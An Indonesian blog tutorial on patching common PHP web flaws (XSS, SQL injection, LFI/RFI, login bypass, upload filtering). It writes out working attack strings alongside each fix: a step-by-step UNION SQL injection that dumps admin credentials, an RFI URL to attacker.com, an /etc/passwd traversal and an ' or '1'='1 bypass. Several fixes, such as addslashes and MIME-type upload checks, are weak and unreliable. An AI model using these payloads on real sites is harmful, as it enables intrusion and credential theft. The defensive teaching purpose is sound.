Saturday, February 13, 2010

Teknik Patch Simple Common Web Attack

By Unknown   Posted at  10:19 AM   No comments

Assalamualaikum semuanya…….


Kali ini saya akan berbagi bagaimana cara Menangkal serangan2 umum teknik hacking pada vuln-vuln website yang sering dilakukan tanpa sengaja oleh seorang programmer web…..


Teknik-teknik serangan yang akan kita bahas cara menangkalnya adalah :


1. XSS


2. SQLInjection


3. LFI / RFI


4. Bypass Login



5. Filter Upload file


Siap, teknik serangannya perlu dibahas juga ga ya…….. hehehe, oke deh akan saya bahas juga.



1. XSS


XSS adalah kepanjangan dari Cross Site Scripting. Maksudnya??? Hal ini terjadi ketika programmer menggunakan URL sebagai parsing kalimat atau kata secara langsung pada halaman website.


Ok contohnya seperti ini:


http://www.target.com/index.php?id=560&judul=Rekayasa%20Perangkat%20Lunak


Selanjutnya kalimat yang diletakkan pada get_variable judul akan langsung saja ditampilkan pada halaman penerima, pada contoh ini sang attacker dapat menyelipkan sebuah script pada get_variable tersebut. contohnya.


http://www.target.com/index.php?id=560&judul=<script>alert(’Tes XSS!!!’);</script>



<script>alert(’Tes XSS!!!’);</script> script ini merupakan script javascript yang digunakan untuk menampilkan sebuah alert box. Pada kasus yang lebih gawat serangan XSS juga dapat dilakukan untuk mendapatkan cookies website, fake interface dan lain2, maklum saya bukan attacker jadi kurang terlalu paham.


PENANGKAL


Untuk menangkal serangan ini, kita dapat menambahkan function php htmlentities. Fungsi dari function ini adalah untuk menerjemahkan karakter yang termasuk dalam pembentuk html ke dalam karakter codenya….


Contoh code pembentuknya dapat dilihat pada tabel berikut




















































































ResultDescriptionEntity NameEntity Number
non-breaking space&nbsp;&#160;
<less than&lt;&#60;
>greater than&gt;&#62;
&ampersand&amp;&#38;
¢cent&cent;&#162;
£pound&pound;&#163;
¥yen&yen;&#165;
euro&euro;&#8364;
§section&sect;&#167;
©copyright&copy;&#169;
®registered trademark&reg;&#174;

Cara pakai function ini :


<?php


$judul = htmlentities ($_GET['judul']);


echo $judul;



?>


$judul = htmlentities ($_GET['judul']); <<<—- Disini ditambahkan funtion tersebut untuk merubah semua karakter html ke karakter pembentuknya…


Sukses……… Sekarang Website kita sudah terbebas dari serangan XSS.


2. SQLInjection


Bagi penggiat dunia hacking, mungkin istilah ini sudah tidak asing lagi. Hm…….. ya, super simple basic web attacking technique (bener ga ya bahasanya). Ya, teknik serangan website paling dasar.


Bug ini terjadi karena kesalah yang terjadi ketika dilakukan perintah _select query pada tabel dalam database.


Contohnya dulu.


Misal url yang tampak pada address bar seperti ini



http://www.target.com/index.php?id=560


Maksud dari url ini untuk menampilkan berita atau artikel atau apalah yang memiliki id 560 pada tabel dalam database.


Selanjutnya pada halaman penerima dilakukan query untuk meminta isi record tabel yang memiliki id 560.


contoh :


<?php


include “‘connect.php”;


mysql_select_db (”db_web”, $con);


$id = $_GET['id'];


$result = mysql_query (”select * from `tblBerita` where `id` = $id “);



dan seterusnya….


?>


Yang kita gunakan untuk permisalah adalah id = 560, baik kita coba terjemahkan query sql nya.


“select * from `tblBerita` where `id` = 560″


SQLInjection


1. Teknik serangan SQLinjection dimulai dengan mengetes suatu get_variable dengan menambahkan karakter single quote (’)


http://www.target.com/index.php?id=560′


Selanjutnya pada query sql yang ada pada script akan berubah menjadi


select * from `tblBerita` where `id` = 560′ << terdapat karakter petik satu.



Hal ini menyebabkan query error dan menampilkan pesan error nya pada halaman website.


2. Dengan tanda error ini, selanjutnya sang attacker melanjutkan melakukan inject pada query sql ini dengan tujuan menampilkan informasi yang ada pada tabel user, admin atau nama tabel lain untuk mengetahui user dan password yang tersimpan dalam website.


HOW???? HOW????? Caranya bagaimana. Pada MYSQL versi 5, hal ini dapat dilakukan dengan memanfaatkan informasi yang terdapat pada database information_schema.


Kita lanjut dulu saja SQLInjectionnya.


Selanjutnya kita akan coba cari jumlah record yang ada pada tabel.


http://www.target.com/index.php?id=560 order by 1


Kita tes apakah error atau tidak, seharusnya tidak.


select * from `tblBerita` where `id` = 560 order by 1


Maksud query ini, hasil select dirutkan berdasarkan pada colomn nomer 1.



Coba terus sampai tampil pesan error


http://www.target.com/index.php?id=560 order by 2 <<<— masih belum error


http://www.target.com/index.php?id=560 order by 3 <<<— masih belum error


http://www.target.com/index.php?id=560 order by 4 <<<— masih belum error


http://www.target.com/index.php?id=560 order by 5 <<<— akhirnya error juga



Ini misal aja loh ya, di lapangan ntar jumlah angkanya bisa berbeda-beda. Ini menandakan bahawa field atau colomn yang ada pada tabel hanya ada 4.


3. Selanjutnya, lakukan union select


http://www.target.com/index.php?id=560 and 1=2 union select 1, 2, 3, 4


Query pada web jadi seperti ini


select * from `tblBerita` where `id` = 560 and 1=2 union select 1, 2, 3, 4


Result aslinya tidak akan tampil, yang tampil malah angka-angka yang dijadikan union select. Kita cari angka mana yang tampil pada halaman website. Misal angka yang tampil pada halaman website angka 2.


4. Kita dapat menggunakan function2 sql pada url tersebut, contohnya version()


http://www.target.com/index.php?id=560 and 1=2 union select 1, version(), 3, 4



Fungsi ini berguna untuk menampilkan versi mysql yang digunakan, jika versi mysql adalah versi 5. Kida dapat mulai melakukan inject untuk menampilkan informasi yang ada pada database information schema.


http://www.target.com/index.php?id=560 and 1=2 union select 1, group_concat(table_name), 3, 4 from information_schema.tables where table_schema = database()


Query ini berfungsi untuk menampilkan isi dari table `tables` yang ada pada database information_schema yang mana nama databasenya = database(), funsi database() akan menghasilkan nama database yang digunakan oleh website.


Setelah nama2 table diketahui, kita akan coba menampilkan nama2 colomn yang ada pada table. Misal nama table yang akan kita tampilkan isi kolomnya `tbluser`


http://www.target.com/index.php?id=560 and 1=2 union select 1, group_concat(column_name), 3, 4 from information_schema.columns where table_name = tbluser


Jika cara ini gagal, sebelumnya ubah dulu kata `tbluser` ke bentuk hexa, gunakan website2 yang menyediakan jasa convert text ke hexa.


http://www.target.com/index.php?id=560 and 1=2 union select 1, group_concat(column_name), 3, 4 from information_schema.columns where table_name = tbluser




Jika cara ini gagal, sebelumnya ubah kata `tbluser` ke bentuk hexa.


http://www.target.com/index.php?id=560 and 1=2 union select 1, group_concat(column_name), 3, 4 from information_schema.columns where table_name = 0x6164A689 (ni hexa yang aku pake ngawur, heheh ntar coba sendiri aja)


Setelah keluar nama2 colomn dari tabel `tbluser`, kita lanjutkan untuk menampilkan record dari tabel ini.


Misal colomn2 yang tampil


id, user, email, password


http://www.target.com/index.php?id=560 and 1=2 union select 1, group_concat(user, 0×3a, password), 3, 4 from tbluser


Kita tampilkan yang penting2 saja……


Selanjutnya isi tabel akan ditampilkan, dan setelah kita dapatkan user dan password admin. Kita cari tempat untuk melakukan login ke system dan Eng ing eng, akses kita menjadi Administrator pada website.



PENANGKAL


Teknik serangan yang panjang lebar ini ternyata hanya memerlukan sedikit tambahan code untuk menambalnya, benarkah??? ya…. Mari kita bahas.



$result = mysql_query (”select * from `tblBerita` wheere `id` = $id “);


Serangan ini dapat terjadi dikarenakan tidak ada filter pada get_variable, sehingga attacker dapat menambahkan query jahat pada query aslinya. hehehe, nilai yang dibutuhkan pada get_variable id hanya nilai numeric saja sehingga kita dapat melakukan pengecekan apakah nilainya angka valid atau tidak


if (!is_numeric($id))


$id = 0;


$result = mysql_query (”select * from `tblBerita` where `id` = $id “);



Kode ini, berguna untuk merubah nilai id menjadi 0 (Nol) jika nilai id tidak valid sebagai angka.


Huft, sudah kok itu aja……. heheheeh…….


3. LFI / RFI


LFI (Local File Inclusion) Bug yang memungkinkan sang attacker untuk menampilkan file2 yang ada pada server.


RFI (Remote File Inclusion) Bug yang memungkinkan sang attacker untuk mengincludekan file dari luar server. B


Bug ini dapat terjadi ketika setting konfigurasi php di server


allow_url_include = on


allow_url_fopen = on


magic_quote_gpc = off



Bug ini terjadi karena kesalahan dalam penggunaan function include(), include_once(), require(), require_once()


Misal


http://www.target.com/index.php?page=news


Selanjutnya pada code kita langsung melakukan include pada halaman yang di kirim melalui variable pada url


$page = $_GET['page'];


include($page.”.php”);


Contoh serangan


http://www.target.com/index.php?page=http://www.attacker.com/filejahat.txt?? <– RFI



http://www.target.com/index.php?page=../../../../etc/passwd <– LFI


PENANGKAL


Baiknya kita berlaku lakukan pengecekan pada setiap halaman yang akan kita tampilkan dengan menggunakan function ini misal


<?php


$page = $_GET['page'];


if ($page == ‘news’)


include(”news.php”);


elseif ($page == ‘tutorial’)



include(”tutorial.php”);


?>


Dan selanjutnya, hmmm ternyata kesalahan yang sederhana benar2 dapat menyebabkan kejadian yang fatal.


Next…


4. Bypass Login


Teknik ini sebenarnya juga merupakan bentuk lain dari SQLInjection Contoh


Pada halaman login user diminta untuk menginputkan User dan password


user : admin


password : pass123



Selanjutnya pada query


<?php


include “‘connect.php”;


mysql_select_db (”db_web”, $con);


$user = $_GET['user'];


$pass = $_GET['password'];


$result = mysql_query (”select * from `tbladmin` where `uname` = ‘$user’ and `upass` = ‘$pass’ “);


dan seterusnya


?>



Jika kita terjemahkan


“select * from `tbladmin` where `uname` = ‘admin’ and `upass` = ‘pass123′


Ok bentuk2 bypass yang dapat digunakan


‘ or ‘1′=’1


Coba kalau kita ubah isian user dan passwordnya


user : admin


password : pass123′ or ‘1′=’1


Query SQLnya akan berubah menjadi


“select * from `tbladmin` where `uname` = ‘admin’ and `upass` = ‘pass123′ or ‘1′=’1′



Ow ow ow, dengan cara ini tanpa sang attacker tau dengan password adminnya pun dia tetap bisa melakkan login ke system. Sungguh sangat berbahaya kan.


PENANGKAL


Untuk menangkal serangan ini kita dapat menggunakan function addslashes() yang ada pada php


string addslashes(string $str), fungsinya untuk mengembalikan karakter dengan backslash (\) untuk karakter2 yang memerlukan penanda khusu pada query sql


‘ menjadi \’





Contoh



<?php


include “‘connect.php”;


mysql_select_db (”db_web”, $con);


$user = addslashes($_GET['user']);


$pass = addslashes($_GET['password']);


$result = mysql_query (”select * from `tbladmin` where `uname` = ‘$user’ and `upass` = ‘$pass’ “);


dan seterusnya



?>


Fungsi lain, mysqli_real_escape_string(), htmlspecialchars() dll


5. Filter Upload file


Filter file upload, kesalahan pada fitur ini dapat menyebabkan website yang kita miliki dapat dikuasai oleh seorang attacker jika tidak adanya filter yang benar pada file dengan tipe apa saja yang dapat masuk ke dalam di upload. Begini prosesnya…


Attacker akan meng-Upload file Backdoor, script jahat atau yang lain untuk dapat menjalankan script tersebut secara langsung pada server. Attacker akan dapat mengakses database website dengan melihat konfigurasi database yang ada pada file config, melakukan edit file atau bahkan melakukan Deface (Mengganti halaman depan website)


PENANGKAL


Lakukan pengecekan pada tipe file sebelum melakukan eksekusi upload file ke server


<?php


$image = $_FILES['image']['name'];


$imagetipe = $_FILES['image']['type'];

if ($image<>” && !(($imagetipe == “image/gif”)

|| ($imagetipe == “image/jpeg”)

|| ($imagetipe == “image/bmp”)

|| ($imagetipe == “image/jpg”)


|| ($imagetipe == “image/png”))){

echo “<script>alert(’Images Tidak Valid!! Image Yang diijinkan adalah PNG, GIF dan JPG’);</script>”;


}else {


Kode upload file ………


}


?>


Dengan kode diatas website hanya mengijinkan file bertipe gif, bmp, jpg dan jpeg saja yang dapat diupload.


FINISH


Ok, sekian terima kasih telah menyempatkan untuk membaca tutorial saya ini Moga bermanfaat bagi para pengembang website yang sedang mencari informasi tentang teknik patching ini, sengaja saya jelaskan pula teknik serangannya agar para pengembang website juga dapat tau dengan jelas penyebab terjadinya serangan-sernagan itu… Selanjutnya melakukan penambalan pada script2 yang salah dengan cara yang saya sarankan atau dengan cara lain sesuai kreatifitas masing2….


Sekali lagi terima kasih, Wassalamualaikum wr, wb….




Sumber : http://agoesdoubleb.i-bego.com/?p=216

About the Author

Nulla sagittis convallis arcu. Sed sed nunc. Curabitur consequat. Quisque metus enim, venenatis fermentum, mollis in, porta et, nibh. Duis vulputate elit in elit. Mauris dictum libero id justo.
View all posts by: BT9

0 komentar:

Back to top ↑
Connect with Us

What they says

© 2013 BLOG SI PALUI. WP Mythemeshop Converted by Bloggertheme9
Blogger templates. Proudly Powered by Blogger.